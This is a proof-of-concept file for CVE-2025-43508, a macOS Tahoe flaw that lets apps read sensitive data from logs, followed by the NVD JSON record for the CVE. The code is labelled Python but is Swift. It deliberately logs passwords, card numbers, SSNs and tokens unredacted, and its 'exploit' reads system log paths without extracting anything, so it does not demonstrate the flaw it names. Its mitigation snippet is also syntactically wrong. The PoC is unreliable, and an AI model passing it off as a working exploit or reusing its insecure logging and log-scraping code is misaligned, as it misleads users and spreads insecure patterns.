The following code is for security research and authorized testing only.
python
# CVE-2025-43508 PoC - macOS Tahoe Log Sensitive Data Access
# This PoC demonstrates the vulnerability where apps can access sensitive user data through logging
import Foundation
import os.log
class LogSensitiveDataAccess {
static let subsystem = "com.test.sensitive-data"
static let category = "UserDataAccess"
// Simulate sensitive data that should be redacted
struct SensitiveUserData {
var userName: String
var password: String
var creditCard: String
var ssn: String
var authToken: String
}
// Vulnerable logging - writes sensitive data without redaction
func vulnerableLogExample(userData: SensitiveUserData) {
let logger = Logger(subsystem: LogSensitiveDataAccess.subsystem, category: LogSensitiveDataAccess.category)
// VULNERABILITY: Sensitive fields logged directly without redaction
logger.info("User login: \(userData.userName)")
logger.info("User password: \(userData.password)")
logger.info("Credit card: \(userData.creditCard)")
logger.info("SSN: \(userData.ssn)")
logger.info("Auth token: \(userData.authToken)")
// This data can be read from log files by local apps
// Location: ~/Library/Logs/ or /var/log/
}
// Exploitation: Read logs to extract sensitive data
func exploitReadLogs() {
let logPaths = [
"~/Library/Logs/com.apple.log",
"/var/log/system.log",
"~/Library/Logs/DiagnosticReports/"
]
for path in logPaths {
let expandedPath = (path as NSString).expandingTildeInPath
let fileManager = FileManager.default
if fileManager.fileExists(atPath: expandedPath) {
// Read log content - sensitive data may be present
do {
let content = try String(contentsOfFile: expandedPath, encoding: .utf8)
// Parse and extract sensitive patterns
print("Reading logs from: \(path)")
print("Content length: \(content.count)")
} catch {
print("Error reading log: \(error)")
}
}
}
}
}
// Usage demonstration
let testData = LogSensitiveDataAccess.SensitiveUserData(
userName: "[email protected]",
password: "P@ssw0rd123!",
creditCard: "4532-1234-5678-9010",
ssn: "123-45-6789",
authToken: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
)
let exploit = LogSensitiveDataAccess()
exploit.vulnerableLogExample(userData: testData)
exploit.exploitReadLogs()
/*
# Mitigation:
# 1. Update to macOS Tahoe 26.1 which includes improved data redaction
# 2. Use os.log with custom privacy settings:
# logger.info("User password: \(privacy: .private)", userData.password)
#
# Reference: https://support.apple.com/en-us/125634
*/
{"cve": {"id": "CVE-2025-43508", "sourceIdentifier": "[email protected]", "published": "2026-01-16T18:16:07.923", "lastModified": "2026-01-27T20:19:37.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logging issue was addressed with improved data redaction. This issue is fixed in macOS Tahoe 26.1. An app may be able to access sensitive user data."}, {"lang": "es", "value": "Un problema de registro se abordó con una redacción de datos mejorada. Este problema está solucionado en macOS Tahoe 26.1. Una aplicación podría acceder a datos sensibles del usuario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:26.0:*:*:*:*:*:*:*", "matchCriteriaId": "551159EE-8311-4A13-802D-85871DAB5E77"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}